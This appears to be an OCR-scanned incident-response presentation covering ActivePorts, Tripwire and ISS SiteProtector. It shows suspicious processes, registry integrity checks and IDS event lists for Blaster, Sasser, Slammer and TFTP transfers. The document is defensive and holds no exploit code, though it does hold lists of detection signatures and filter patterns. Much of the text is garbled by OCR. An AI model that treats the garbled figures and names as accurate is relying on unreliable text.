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ActivePorts

m ActivePorts (http://www.protect-me.com/

[
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File Optionz %

ActivePorts

=8|

Process | P. - | Local IP | Local Pu:nrtl

LY

4

4100 C -

Remate 1

------- | A ActivePorts

P | Femote Port | State | Protocol | Path A-|

Pl 135

LISTEM

WINNT system32 Winregs32.exe

Process State Path

Msbb.exe LISTEN

C:¥WINNT¥System32¥Msbb.exe

_______ Win32Fixr.exe |CLOSE WAIT|C:¥WINNT¥System32¥Win32Fixr.exe

Win32Fixr.exe |LISTEN

C:¥WINNT¥System32¥Win32Fixr.exe

Winregs32.exe |LISTEN

C:¥WINNT¥System32¥Winregs32.exe

wilogon32.exe |LISTEN

C:¥WINNT¥System32¥wilogon32.exe

T @ O @O O O o O M O b o b o

Terminate Process Gluery Hames

TARSEER L
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IRCR

m  IRCR(http://www. Incident-reponse.org/IRCR.html

m TCT(The Coroner’s Toolkit)
m NET ,ARP
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PELAD [ 3 c¥bocuments snd SestingsiAdministrasced T 20k TV Mirpt

=10 =

=l ot

ELl [ FErA T | Einge

E 1 reportiim | 13 K8 HTML Fyadisk 004110028 1835

] soplotxt i KB A0 18

H| arpka 1kl 7 2004053 120
W] eetlog tat 182 KB T3 080 185
'I_-| ol lig ket A073 KB 20041028 1820
':I [ LETREL 19 KR FF] A0SR 1R
m| hidderitct KD
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— Tripwire

m Tripwire(http://www.tripwire.co.jp/

Tripwire BEMFvILR—k /N\—232 4.0.0
Tripwire(R) for Servers /A\—3> 4.5.0.178

LiR—hERE : Administrator
LR—MMERC B 1+ : 2004411 820H 08:01:15
T—AR—AEBEHFRAMN . KEH

ISS001
RAKIP PRLR : 192.168.221.180
RARID: S-1-5-21-1390067357-362288127-839522115
ERRI—T7AIL C:¥Program Files¥Tripwire¥TFS¥policy¥tw.pol
ERZEI7AIL C:¥Program Files¥Tripwire¥TFS¥bin¥tw.cfg
FRT—32X—XT7AJ)L: C:¥Program Files¥Tripwire¥TFS¥db¥database.twd
FRaATURSAY: tripwire -m ¢
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* Critical System Startup files
(23
* 0S Support Files
* System32 Folder
* Network Configuration Files
Critical Drivers
System Folder
(C-¥WINNT¥System)
Program Files Folder
(C-¥Program Files)
* Tripwire for Servers Configuration Files System32 Folder
1000
Tripwire for Servers Executables
1000 15
Tripwire for Servers Log and Support Files
1000
Temporary Files Folder ()

6,408
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Hardware keys
Service Registry Keys 100
Critical Tripwire Registry keys 1000

* Critical Security Account Keys 1000
* Security Information keys 100

Local Admin Activity 1000
(HKEY_LOCAL_MACHINE¥SAM¥SAM¥Domains¥Account¥Users¥000001F4)
Local Admin Login 1000 0 0
(HKEY_LOCAL_MACHINE¥SAM¥SAM¥Domains¥Account¥Users¥000001F4|F)
Local Admin Password Change 1000 0 0
(HKEY_LOCAL_MACHINE¥SAM¥SAM¥Domains¥Account¥Users¥000001F4|\Y
Guest Account Activity 1000 0 0
(HKEY_LOCAL_MACH INE¥SAM¥SAM¥Doma i ns¥Account¥Users¥00Q0F1F5)
System Startup Executables 1000 11

Critical System Registry Keys 100 0

Software keys 35 0

Current User Registry keys 15 0

Class keys 35 0

27,467

| Service Registry

25

System Startup
11
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IDS/IPS

m  SiteProtector(http://www. isskk.co.jp/product/SiteProtector.html

Grouping fzzet Sencor  Apalysiz  Reporting  Tools

= j)(%"' F$'||F|> @|6 i*(’ﬁ ZE Load analysis view

| I I Evert Analysis - Sensar =~
= Summmary | Asset | Sensar i Event Analysis - Target Ohject. |
_HOSAKA 53] ~Titne SourcelP——— | TargetP /I Event Analysis - Target

----- J SiteProtector_mgr {5:0) Suln Analysis - Detail

..... g LN (i) Statt  [2003-11.01 00:00:00 GMT 7] Start | Start | Vuln Analysis - Host
End | | End | End | btk

lllll S vanowshT (00) Event Analysis - A BRE EFF =l
S 7 o B (00 P-Sivem-tnentegent

1 DMZ (B0 Teg Name | ObjectMame | |
| External (0:0)
] Internal (0007

-

Llahlan

FFLEZEa -DERInTOET

_J P T Rl (0:0) Tag Mame Status Severity / | Event Count ¢ |S..|Ta..| . Earliest Evert
- IR R (00) sRPC_Remotesctivate_Bo £4 Failure possible (scanned, vuln n... High 9 3 [z 7 [2003-12-05 0500000 GMT |2
- _| EED (00 Sensor_Errar A Unknown impact (ho correlation) High E 1 1 1 2003-11-05 04:00:00 ST 2
;l 1HHTER (0:0) ICHP_Flood Unknown impact (SecurityFusion ... Medlivrn 51 4 | 1 |2003-12-04 05:00:00 GMT 2
;l T8 (1) Sensor_Warning A Unknowen impact (no correlation) IIl Medium 26 il 1 1 2003-11-12 05:00:00 ST 2
. . TCP_Probe_Cther Ay Unknown impact (no correlation) A Lowy 2597 2 |2 4 |2003-12-04 14:00:00 GMT 2
AREEH (00) Sensorctatistios Unknown impact (SecurityFusion | 4k Low 156 1 |200312-04 140000 GWT |2
=& Ungrouped assets Sensor_info /M Unknown impact (no correlation) |44 Low &1 2 2 [ [2003-11-1208:0000GMT |2
Eﬁ 192.165.251 .0 - 192 165.251.255 iz=s-host-scan A Unknown impact (no correlation) Ab Low (s11] il 4 1 2003-11-06 13:00:00 ST 2
iz=-zcan A Unknovwen impact (ho correlation) Ab Low 31 1 1 1 2003-11-06 13:00:00 GMT 2
B _Malformed Unkhowwn impact (SecurityFusion ... | 44 Low 24 S 5 |2003-12-04 05:00;00 GMT 2
TCP_Probe_MSRPC A Unknowen impact (no correlation) Ab Low (5] 1 1 1 2003-12-05 00:00:00 ST 2
TCP_Probe_Cther Unknowen irmpact (SecurityFusion ... |4 Low 2 1 1 1 2003-12-05 01:00:00 ST 2
TCP_Probe_SaL Unkhowen impact (hot scanned re.. | 28 Low 1 1 1 1 |2003-12-04 14:00:00 GMT 2
TCP_Probe_RetBIOS A Unknowen impact (no correlation) Ab Low 1 il 1 1 2003-12-04 14:00:00 GMT 2
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\

SUmTEry I Azzet I Senzar

Reparting I

{} Event Analysis - Event Hame v A |
Severty £ | Tag Matme I Event Cournt -'I Source Cournt | Target Count | Ohject Count | Earliest Event I Latest Evert |
4 High SME_Enpty _Passwoard_Failed 1235\ g 3 2 2005-01-02 11:00:00 JST [2005-01-03 11:00:00 J5T | =
A High HTTP_Head 71 4 14 1 2005-01-01 08:00:00 JST |2005-01-03 09:00:00 JST
4 High SGIL_SSRP_Slaminer _Worm 21 18 1 1 2005-01-01 02:00:00 JST [2005-01-03 10:00:00 J5T
4 High MSRPC_Remotesctivate_Bo 10 & S 1 2005-01-02 11:00:00 JST |2005-01-03 02:00:00 JST
4 High MSRPC_LSASS _Bo 10 3 1 1 2005-01-02 12:00:00 JST [2005-01-03 02:00:00 J5T
A High HTTP_\WebDaY _Long_Rgst_BO 2 2 1 1 2005-01-02 13:00:00 JST [2005-01-03 10:00:00 JST
4 High EventCollector _Errar 2 1 1 1 2005-01-02 10:00:00 JST (2005-01-02 10:00:00 JST
A High FTP_Aros_Overflow 2 2 2 2 2005-01-01 05:00:00 JST [2005-01-01 05:00:00 JST
4 High HTTP_ActiveX 1 1 1 1 2005-01-02 12:00:00 JST (2005-01-02 12:00:00 J5T
4 High HTTP_Unix_Passwords 1 1 1 1 2005-01-02 11:00:00 JST [2005-01-02 11:00:00 JST
| Medium (IM_activity 104 1 10 3 2005-01-02 11:00:00 JST |(2005-01-03 00:00:00 JST
| Mediurn [HTTP_Gatar_|hstalled (a5 1 19 1 2005-01-01 00:00:00 JST [2005-01-03 11:00:00 J5T
| Mediumn [MSRPC_Damainduimg 29 \ 27 1 1 2005-01-01 00:00:00 JST [2005-01-02 0F:00:00 JST
| Medium |HTTP_URL _Mame_very_Long 10 ‘w 1 1 2005-01-01 13:00:00 JST [2005-01-03 10:00:00 J5T
| Medium [TFTP_Get £l 1 \ 2 1 2005-01-02 13:00:00 JST [2005-01-03 02:00:00 JST
. Medium [&udit_TFTP_Get_Filenarme ] 1 \

. Medium HTTP_Connect_Proxy_Bypass_ SMTP 3 2 1

. Medium [HTTP_Connect 3 2 1 2005 1 1 3

. Medium ICMP_Redirect 3 1 1

. Medium [TFTP_Exe_Transfer 1 1 1

. Medium [HTTP_IE_Status_Spoof 1 1 1

. Medium [MSREPC_Share_Dump 1 1 1

T Loww  |TCP_Probe_MSRPC 105533 42 E |

T Low TP _Service_Sweep 16552 1 2

W Lowy TP _Probe_Cther 3676 a7 &

T Low Windowws_Access_Errar 1278 16 K |

W Loww  |HTTP_User_Agent 937 4 [as} 2 2005-01-01 00:00:00 JST (2005-01-03 12:00:00 JST
W Loww  [HTTP_Get G35 g 77 2 2005-01-01 00:00:00 JST [2005-01-03 12:00:00 JST
W Low  HTTP_Server_ID 760 15 74 3 2005-01-01 00:00:00 JST (2005-01-03 11:00:00 J5T
W Loww  |SensorStatistics_Cumnulative 705 1 1 1 2005-01-01 00:00:00 JST [2005-01-03 12:00:00 JST
W Low  |SensorStatistics 705 1 1 1 2005-01-01 00:00:00 JST (2005-01-03 12:00:00 JST
W Lowe  |HTTP_Cookie GES / g 53 1 2005-01-01 00:00:00 JST [2005-01-03 11:00:00 J5T

[

|LI

4
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Analysis View

Advanced Filter Analysis View
Site Manager [ Analysis ] --> [ Add / Remove Data Columns... ]

eProtectar Cor

Connection  Window  Help

Manager

Grouping fsset Sensor  Analysiz Beporting  Tools

= 4 > % + F ;\*‘\ ||L7 | > H | Q i* & b Z E Load analysis view  JSEQE -
| Summar\;l Assetl Sensar Evert Analys?s - sensor : =
= Evert Analysis - Target Object |
| Titrie SourcelP—————— | TargetlP———— | /'In Evert Analysis - Target
-1 SiteProtector_mar (5:0) r Wuln Analysis - Detail v e

Analysis View

“uln Analysis - Host

. Start 2003-11-01 00:00:00 GMT = I I
) UM (120 I —I Start Start

-2 End | =] ed | End [ | i nelsie i b

- o ==
A windowesMT (000 Event Analysiz - ABRE X =
A S R ) e I

1 DMZ (o) Tea Mame | Ohject Name |

| External (00

[ Internal (0:00 Event Analysis - A E% ik

= J PFRTEM B (0:0) Tag MName | Status | Severity £ | Event Court /|5 |Ta. | .. | Eatligst Event
4 R IRE &R 0 MSRPC_Remotetctivate_Fo £ Failure possible (scanned, vuln ... High 9 3 2 [ [|2003-12-05 050000 GMT 2
_| EED (00 Senzor_Error ,EE Unknown impact (no correlation) High 6 1 1 1 |2003-11-05 04:00:00 GMT 2
;' U (0 ICHAP_Floocd Unknowen impact (SecurtyFusion .. Mediurm 21 4 1 1 |[2003-12-04 05:00:00 GMT 2
;' S1938 (00 Sensor_Yvarning A Unknown irmpact (no correlation) m Medium 26 il il il 2003-11-12 08:00:00 GMT 2
. _ TCP_Proke_Other A Unkmnoesen irpact (ho correlstion) A Loy 25487 2|2 4 |2003-12-04 14:00:00 GMT 2
AmEd () SensorStatistics Unknowh irpact (SecurityFusion .. | 44 Low 188 1 W | |oosqzo04t40c00GMT 2
El@ Ungrouped Assets Sensor_Info Ay Unknowen impact (no correlstion) |4k Low 81 2 2 1 [2003-11-120800:00GMT |2
[ Eﬁ 192168251 .0 - 192165251 .255 izz-host-zcan /My Unknowen impact (ho correlation]) E Lo [=18] 1 4 1 2003-11-06 130000 GhT 2
izz-scan Ay Unknowen impact (ho correlation]) K Loy 31 1 1 1 2003-11-06 130000 GhT 2
=hE_Malformed & Unknown impact (SecurityFusion ... K Lo 24 3 | G |20035-12-04 05:00.00 GMT 2
TCP_Probe_MERPC gig Unknowen impact (no correlation) E Lo [ 1 1 1 2003-12-05 00:00:00 GhT 2
TCP_Probe_Other A Unknown impact (SecurityFusion .. E Lowy 2 1 1 1 |2003-12-05 01:00:00 GMT 2
TCP_Probe_S0L A Unknown impact (hot scanned re. .. E Loy 1 1 1 1 |[2003-12-04 14:00:00 GMT 2
TCP_Probe_MetBIOS gig Unknown impact (ho correlation) E Lowy 1 1 1 1 [2003-12-04 14:00:00 GMT 2
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(Analysis View)

Filter

Cleared Court F
Ewent Courit
Incident/Exception Mame o Widcard Match *Bo R

& IncidertException Type o Wildgard Match *Cverflow’ S
Last Yulnerakility Status
Ohiect Mame
Object Type

& Obzervance Type
Zenzor DNS Mame
Sensor P
Sensar Mame
Sensor 0% r ‘\
Severity
Shiowy Columnz | E
Showe Event Details Tag Name
Source Court
Source DNS Name
Source [P
Source OS5 You can filker on tag names from thj * * fl ]
Status Lser-defined tag names. Tag Name [ BO] [ Over OW

o Tag Mame

Active Yalues

Il

Remowve All

| v

IUze this filter to display ar S
or more tag names,

MNOTE: You can use wild cards to filk

Target Count L.
name within a category of tag nam
Target DS Marme differant]
Target P v
Target OS5 Example: You want to see HTTP tyTEe 0T BV ETIS S TECo i O vr e
Titne server, You do not, however, want to see HTTP-Get events because

those are normal and expected events for a \Web server, You set the
filter to include all of the HTTP events, but to exclude the HTTP-Get
event,

7 Parameters and their values

——— ;I

Ok, | Cancel |

(@ INTERNET |SECURITY | SYSTEMS® o8



Analysis View

B —[Ofx]

fnalziz Beporting Tools

Eh] ||E '&?3 | > N | - ‘:_(] - @’ (@ (Wat=e =Ty = - T D HT 22 Analvsis - Event Marme u

Summaryl .-'J\ssetl Sensor F{epl:urtlngl
Titre Source P Target IP —IncidentsExceptions
Start |2005-01-01 00:00:00JST 7| Start | Start | I Show Incidents
[~ Show Exceptions
End |2005-01-04 00:00:00 05T x| End | End | -
Showe Attack Patterns
¥ Show Uncategorized
Tag Mame o Advanced... | Object Mame I
¥ Analysis - Event Hame M
Severity Tag Mame I Evert Count 7 | Source Count Target Count Ohject Count Earliest Event Latest Evert
& High  [MSRPC_Remotelctivate Bo 25 7 18 1 2005-01-02 11:00:00 JST  |{2005-01-03 23:00:00 JST
& High [MSRPC_LSASS_Bo 10 5 1 1 2005-01-02 12:00:00 JST  |{2003-01-03 02:00:00 JST
b High  [HTTP webDAY Long_Rost B0 |2 2 1 1 2005-01-02 13:00:00 JST  |{2005-01 -03 1 0:00:00 JST
b High  [FTP_&ros_Owverflowe 2 \ 2 2 2 2005-01-01 05:00:00 JST  |{20035-01-01 050000 JST

N\
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Analysis View

Severity Event Court / | Source Count I Target Count I ]

[7 (E h

SourcelP

m Copy With Calumn Headers
View event detailzs..

Clear eventiz)

What are the event details?

What are the tareet objects of these events™ | P
; >

What are the sources of these events?
What are the targets of these events?

{} Event Analysis - Attacker

Source P Source DNS hame I # High II # Medium a’l #low /| Tag Count I Target Count | Ohject Count I
[192.165.221.180, 18 1] ] 17 i
[222. 184 T 1 1
222, 1B [N\ " 0 0 —1
222. 108 N\ 2 o 0 1 1 T : -
194, 5133 N\ 2 ] 0 1 1 1 .
[200. 366 N 2 0 0 1 1 1 Sev... S Time Tag Mame Event Count Source P
B28 2 2 o 0 1 1 1 & High [2005-01-02 131347 JST MSRPC_Remotedctivate_Eo 192 165,221 160
222, 3212 O 0 i i i A High [2005-01-02 132929 JST |MSRPC_Rematesctivate_Bo 192 165.221 150
% 3:12 1 \\g E 1 1 1 A High [2005-01-02 1534:20 JST MSRPC_RemoteActivate_Bo 182 168.221 180
Es7 1o " N q y " " A High [2005-01-02 140513 JST MSRPC_Remctedctivate_Eo 192 168,221 180
bas i N o 1 i 1 A High [2005-01-03 130912 JST MSRPC_Remotedctivate_Eo 192 168221 180
222, 2219 1 n N0 1 1 1 4 High [2005-01-03 131443 JST MSRPC_Remotedctivate_Eo 192 168.221 180
151, 5228 1 o N\ 1 1 1 4 High (2005-01-03 14:40:44 JST MSRPC_Remctesctivate_Bo 192 1658.221 180
% 1211-230 :‘I g E\\ 1 :‘I 1 4 High [2005-01-03 153225 JST MSRPC_Remotedctivate_Eo 192 168.221 180
d : A High [2005-01-03 16:07:28 JST MSRPC_Remotedctivate_Eo 102 168,221 180

b High (2005-01-03 17:03:43 JST MSRPC_Rematedctivate_Bo 192165221 160

A High [2005-01-03 18:00:15 JST MSRPC_Remotetdtivate_Bo 192.168.221.180

4 High |2005-01-03 183611 JST MSRPC_Remateictivate_Bo 192.165.221 180

4 High [2005-01-03 19:06:15 JST MSRPC_Remotetdtivate_Bo 192.168.221.180

& High [2005-01-03 20:01:35 JST MSRPC_Remotetctivate_Bo 192.165.221 180

4 High [2005-01-03 21:07:55 JST MSRPC_Remotetdtivate_Bo 192.168.221.180

& High [2005-01-03 22:11:12 JST MSRPC_Remotetctivate_Bo 192165221 180

4 High [2005-01-03 22:39:33 JST MSRPC_Remotetdotivate_Bo 192.16G.221.160

[ ey ey ey gy gy g gy e ey gy e gy gy gy gy ey ey

192165221180

G IN']‘ERNET SECUR[TY SYSTEM S“ 4 High [2005-01-03 23:51:24 JST MSRPC_Remotetdotivate_Bo



(Analysis View)

Cleared Count
Event Count
IncidertException MName

o IncidertException Type

Last vulnerakility Status
Ohject MName
Cibject Type

¥ Obzervance Type

Senzor DS Matne
Senzor P

Senszor Mame
Sensor 05
Severity

Show Columns
Show Event Details
Source Count
Source DS Matne
Source P

Source 0%

Status

Target Count
Target DMNS Mame
Target IP

Target 05

Time

~active Walues
o Wildcard Match WSRPC_LSASS Eo'

o Wildcard Match MERPC_Remotesctivate Eo'
& widcard Match 'SEL_SSRP_Slammer_\Worm'

A

Refmave

Refmowe &l

il

~—

Tag Name

IJ=se this filker to display or
or more tag names,

You can filker on tag name
Lser-defined tag names.

MOTE: You can use wild ca
name within a category of
differently.

Example: You wantto se
server, You do not, howe
those are normal and exp
filter to include all of the H|
event,

Tag Name
[MSRPC LSASS Bo][SQL SSRP_Slammer Worm]
[ MSRPC RemoteActivate Bo]

A~k &R =Ly
MERPC_L5 855 _Bo Sazzer T —Ly
M5SRPC _Remote fctivate_Bo Blaster ) —ds
HTTP_URL Mame Mery_Long  feobotT)— L
SQL S5RP Slammer Morm  Slammer T — Ly,
HTTF Code Red Code RedT)—1y
HTTP _Mimda_War m MHimdaTl— Ly

7 Parameters and

e ——

o |

cll” vdilles

Cancel |

=l
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Analysis View

dnalvziz  Beporting  Tools

?'J ||H‘_L| 'ml | F o | & e 5] A E? ‘% (WaT=Te W-To T PR RN O iorin Analysis - Event Mame
Summary' .&.ssetl Sensor EEIENEEEE Repnr‘tingl
Titne Source P Target IP ~IncidentsExceptions =
Start |2005-01-01 00:00:00 JST 7 Start | Start | I Show Incidents
[~ Show Exceptions
End  |2005-01-04 00:00:00 5T | Endd | Endd | 5
[~ Show Attack Patterns
[

Anahy=is - Event Hame

s
Severity Tag Mame # I Event Count I Zource Count | Target Count | Ohbject Count I Earliest Event Latest Event
4 High MERPC_LSASS BEo 10 5 1 1 2005-01-02 120000 JST - [2005-01-03 02:00:00 JST
4 High MSRPC_Remotefctivate_Bo |25 7 15 | |1 2005-01-02 11:00:00 JST | 2005-01-03 23:00:00 JST
& High SEL_SERP_Slammer \Worm 24 20 1 1 2005-01-01 0200:00 JST  |2005-01-04 00:00:00 JST
e~~~
Source Count Target Count
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Analysis View

(| {¥ Event Analysis - Details

SUmmary I Aszet I =enzor Reporting I Severity Titne / | Tag Mame IEven...I Source [P | Target [P |
o - A High [2005-01-02 11:42:37 JST [MSRPC_Remotedctivate_Bo |1 192 168,221 180
A High [2005-01-02 13:12:57 JST [MSRPC_Remotedctivate_Bo 1 192 168.221 180
Start |2IIIII|5-III1 01 000000 JET ll A High [2005-01-02 13:13:47 JST [MSRPC_Remotesctivate_Bo 1 192 166221 180 |
=tart | A High [2005-01-02 13:29:29 JST [MSRPC_Remotesctivate_Bo 1 192 166221 180 |
A High [2005-01-02 13:34:20 JST [MSRPC_Remotesctivate_Bo 1 192 166221 180 |
End |2|:||:|5_|:|1 -04 00:00:00 JST ll Ercd | A High [2005-01-02 14:05:13 JST [MSRPC_Remotesctivate_Bo 1 192 166221 180
A High [2005-01-03 00:52:09 JST [MSRPC_Remotesctivate_Bo 1 192 168.221 180
A High [2005-01-03 02:00:55 JST [MSRPC_Rematesctivate_Ba 1 192 168,221 180
, A High [2005-01-03 02:04:35 JST [MSRPC_Rematesctivate_Ba 1 192 168,221 180
Tag Mame o Arvanced.. | Chjeft hame I_ & High [2005-01-03 02:56:25 JST |MSRPC_RemoteActivate Bo [1 192165221180
A High [2005-01-03 13:09:12 JST [MSRPC_Rematesctivate_Ba [1 192 166221150 f92.165.221 4
A High [2005-01-03 13:14:43 JST MSRPC_Rematesctivate_Ba 1 192 166.221.150 H92.165.221 4
0 (DB Analysis - Event Hame A High [2005-01-03 13:35:50 JST [MSRPC_Rematesctivate_Ba 1 92 168.221 180
A High [2005-01-03 14:40:44 JST [MSRPC_Rematesctivate_Ba 1 192 168221 180 ]
Severity Tay hame Event Count | & High [2005-01-03 15:32:25 JST |MSRPC_Remotesctivate Bo [1 192 166221 150 ]
A Hgh  |MSRPC_Remote An:tivate_EIo( 55 : High |2005-01-03 16:07:25 JST |MSRPC_Rematesctivate_Eao [1 192 168221 180 ]
: High |2005-01-03 17:03:43 JST |MSRPC_Rematedctivate_Bao [1 192 166221 180
A High MSRPC_LEASS Bo \ 10 A High [2005-01-03 18:00:15 JST [MSRPC_Rematesctivate_Ba 1 192 168221 180 ]
& High  |HTTP_wWebDAY _Long_Rgst_BO N A High [2005-01-03 18:3611 JST MSRPC_Rematesctivate o [1 192 166221 150 |
& High  |[FTP_Args Owverflow ;\ A High [2005-01-03 19:06:15 JST [MSRPC_Rematesctivate_Ba 1 192 168221 180 ]
A High [2005-01-03 20:01:35 JST [MSRPC_Rematesctivate_Ba 1 192 166221 180 ]
\ A High [2005-01-03 21:07:55 JST [MSRPC_Rematesctivate_Ba 1 192 168221 180 ]
A High [2005-01-03 22:11:12 JST [MSRPC_Rematesctivate_Ba [1 192 166221 180 ]
\ A High [2005-01-03 22:39:33 JST [MSRPC_Rematesctivate_Ba 1 192 168221 180 ]
A High [2005-01-03 23:51:24 JST |MSRPC_Rematedctivate_Bo [1 bgogsgeaisnd
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(Analysis View)

Cleared Count
Event Count
Incident/Exception Mame o Wildcard Match 'FTP_Get
o Incident/Exception Type o Wildcard Match 'TFTP_Get'
Last Wulherability Status
Ohbject Mame
Ohject Type
¥ Obszervance Type
Zenzor DS hame
Zenszor P
Zenzor Mame
Sensor 05

Sewverity
Show Colurmins u ¥

Show Event Details Tag Name

Source Count

crmortagnamee, o °| Tag Name  [FTP_Get] [TFTP_Get]

~Active YWalues

Retmowe

Remave All

i

Source P
Source 05 You can filter on tag names from &
Status user-defined tag names.
o Tag Marne . .
MoTE: You can use wild cards to fi
Target Count name within a category of tag narfre——r————————————————
Target DMNS Mame differently. ! ! J
Target IP
Target 05 Example: You want to see HTTP types of events affecting a Web
Tirme server. You do not, however, want to see HTTP-Get events because

those are normal and expected events for a Wehb server. You set the
filter to include all of the HTTP events, but to exclude the HTTP-Get
event.

7 Parameters and their values

——— j

] Cancel |

(@ INTERNET | SECURITY SYSTEMS®
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Analysis View

== x|
e =lalxl
Grouping  fszet Senzor  Analysiz  Beporting  Toolz
MG W@ ?"}HE'&?!W" il“"\n e ‘ﬂ B 4 Load analysis view
| Summaryl.&ssetl Sensor eSS = Repomngl
(o I J Tirne Source lP———————————— Incidents/Exceptions
&8 Ungmumdmw Start [2005-01-01 01:00:00 J5T 7 | vl?aznla'lzsls dote
End | d| Bnd [
Severity
Taghane o dvanced.. | Obectitame | | Medium (2005-01-02 13:12:52 JST [TFTP_Get |1 [vinhosting exe
T D3ty 2 L Medium [2005-01-03 01:59:26 JST [TFTP_Get /1 [EEXPLORE exe
Severty | ToaMame  _f—Event count | Sowcecount | TersetCount | mecium [2005-01-03 01:53:27 JST [TFTP_Get [ [EEXPLORE exe
= Mewun__[TFTP_Get 10 I B | Medium [2005-01-03 01:59:29 JST [TFTP_Get 1 [EEXPLORE £xe
L Medium [2005-01-03 01:59:33 JST [TFTP_Get /1 [EEXPLORE exe
. Medium 2005-01.03 01:53.41 JST [TFTP_Get |1 7~ [EEXPLORE exe
— 19 ST [TFTP_Get 7 [EEXPLORE exe
TETP ST TS TETE oet |1 [EEXPLORE exe
05 JST [TFTP_Get |1 [EEXPLORE exe
57 JST [TFTP_Get 1 |_Iuinn|e.exe
TFTP
UNIX
HTTP
|—| I F Auto Refresh: 1500 seconds

(@ INTERNET | SECURITY SYSTEMS®
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(Analysis View)

x|
Cleared Count
Event Count -
IncidentException Mame o Wildcard Match *Request R
& IncidentException Type o Wildeard Match *Response’ &l
Lazt Yulnershilty Status & Wildcard Match 'SSH* Remave Al |
Chject Mame & wildcard Match 'Telnet®
Ohject Type
#* Obzervance Type
Senzor DM Mame
Senzor [P
Senzor Mame
Senzar 05 . \\
Severity -
Showy Columns LR I—
Show Evert Details Tag Name e el
Source Cournt — .
= ouree DNS Narme Use this filker to display or supprg
or more tag names,
Source [P
Sourcs 05 You can filter on tag names from 4 Tag Name [*Request] [*Response]
Status user-defined tag names.
Taget Court NoTE: Yqu_can use wild cards to f [SSH*] [TGlﬂEt*]
narme within a category of tag na
Target DMS Name differently.
Target [P
Target 05 Example: You wantto see HTTP
Titne server, You do not, however, wa T
those are normal and expected events fDr a Weh Server, ‘r’c:u set the
filter to include all of the HTTP events, but to exclude the HTTP-Get
event,
7 Parameters and their values
e LI

Ok | Cancel |
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(Analysis View)

Surmmmary I .&ssetl Senzor REEEEEENEVEEN Feparting |
Titme: Source P Target [P ~IncidentsExceptions 1=
Start |2005-01-01 01:00:00 J5T | Start | Start | I Show Incidents
[ Show Exceptions
End 7 End End
I _I I I [~ Show Attack Patterns
¥ Show Uncategorized
Tag Mame & Advanced. .. | Ohiect Marne I s

TF DA YEES =7 FFPOER

Severity I Tag Matne £ I Evernt Coup Source Court
W Low =3H_ersion & 1 2
T Lowy Telnet_~buze 49 1 1
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Cleared Court
Ewvent Courit
IncidentException Mame
o IncidentException Type
Last Wulnerahility Status
Ohbject Marne
Ohiect Type
& Observance Type
Sensar DNS Mame
Senzor [P
Sensar Mame
Sensar 0%
Severity
Showy Calumns
Showw Event Details
Source Court
Zource DNS Mame
Source [P
Source 0%
Status

Target Count
Target DMNE Mame
Target IP

Target 05

& Time

(Analysis View)

Active Yalues

o Wildcard Match 'HTTP_Unix_Pazswords'
o Wildcard Match 'TCP_Metwork_Zcan'
o Wildcard hatch 'TCP_Service_Sweep'
& \Wildcard Match 'Telnet_Akuze'

Rermove |

Femave Al

!

AN

AN

|
Tag Name

| v

lUse this filter to display or suppr
or more tag names,

You can filter on tag names from
user-defined tag names.

NoTe: You can use wild cards to
name within a category of tag na
differently.

Tag Name
[ TCP _Network Scan] [ TCP_Service Sweep]
[ Telnet Abuse]

Example: You want to see HTTP types of events affecting a Weh |
seryer, You do not, however, want to see HTTP-Get events because

those are normal and expected events for a YWeb server, You set the

filter to include all of the HTTP events, but to exclude the HTTP-Get

avent,

7 Parameters and their values

e

Ok | Cancel |

(@ INTERNET | SECURITY SYSTEMS®
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(Analysis View)

I o]
Vinalvsiz  Beporting  Tools
?“J ||E '3.‘3 | > H | = ‘i:] A E’ @ Load analysis wiesw IScanAnalysis-Ever‘rt Marme ;I

Summary I Azzet I Senzor

Feparting I
Time Source [P Target IP —IncidertzExceptions 1=
Start |2005-01-01 00:00:00 05T =) Start | Start | I™ Show Inciderts
[ Show Exceptions
End  |2005-01-04 00:00:00 05T =] End | End | T
[ Showe Attack Patterns
=
I v &
Severity Tag Marme # I Ewent Count I Source Cout I Target Count I Ohject Count I Earliest Event Latest Event
. High HTTP_Unix_Passwoards |1 1 1 2005-01-02 11;00:00 J5T  |2005-01-02 11:00:00 JST
T Low TCP_Service_Swweep 165035 (+148510) | 256 | 12 2005-01-02 12:00:00 JST  |2005-01-04 00:00:00 J=T
W Low Telnet_Abuse 49 1 1 2005-01-02 10:00:00 JST  |2005-01-02 10:00:00 J=T

(@ INTERNET | SECURITY SYSTEMS®
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Case Studyl

2O XN (i REMOTE/MOBILE

2004 12 21 28
0S RedHat(Apache )
IP 192.168.221.180

\{
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Sumtmary | Azzet I Sensor

{} Euent Analysis - Event Hame

Case Studyl

Reporting |

(@ INTERNET | SECURITY SYSTEMS®

Tag Hame | Status | Sewerity f I Event Count .n"I Source Countl TargetCountl DbjectCountl
S0QL_S5RP_Slammer_Wiorm ‘-’;" Unknown impact (SecurityFusion not enabled) | 4k High 42 25 1 1
Ident_Errar ‘.;" Unknown impact (SecurityFusion not enabled) | 4k High 29 24 1 1
HTTF_Head ‘.';'f Unknown impact (SecurityFusion not enabled) | 4k High 26 2 10 1
ShB_Admin_5Sneak ‘.;'f Unknawn impact (SecurityFusion not enabled) | 4k High 7 3 1 1
FTP_Glob_TildeBrace_Wulns J.;'f Unknaown impact (SecurityFusion not enabled) | 4k High G 2 2 4
HTTF_wiebl&W_Long_Rgst_BO =/ Unknown impact (SecurityFusion not enabled) | 4 High I i} 1 1
FTP_Generic_Intel_Ohwe rflow =/ Unknown impact (SecurityFusion not enabled) | & High I 1 1 1
FTP_Cuwud_ Qe rfl o “4 Unknown impact (SecurityFusion not enabled) | d High 2 1 1 1
HT TP _ActiveX ‘-';" Unknown impact (SecurityFusion not enabled) | 4 High 2 2 2 1
DHE_Windows_ShTP_Chwerflow ‘-;" Unknown impact (SecurityFusion not enabled) | 4k High 1 1 1 1
DNS_Quen_All ‘.';" Urnknown impact (SecurityFuzion not enabled) | L Medium (48380 1 2 1
ICMP_Redirect ‘.f Unknown impact (SecurityFusion not enabled) | | Medium 15721 1 1 1
HTTF_Gatar_Installed J.;'f Unknown impact (SecurityFusion not enabled) | | Medium |392 1 ] 1
IChP_Fload ‘.;'f Unknown impact (SecurityFusion not enabled) | . Mediom 134 1 1 1
HTTF_URL_Mame_“emn Long = Unknown impact {SecurityFusion not enabled) | | Medium [25 25 1 1
MERPC_Domaindump = Unknown impact {SecurityFusion not enabled) | | Medium [17 16 1 1
FTP_Fa== 4 Unknown impact (SecurityFusion not enabled) | | Medium [13 2 5 1
FTP_Fasw ‘-f Unknown impact (SecurityFuzion not enabled) | . Medium (11 ‘ 1 3 1
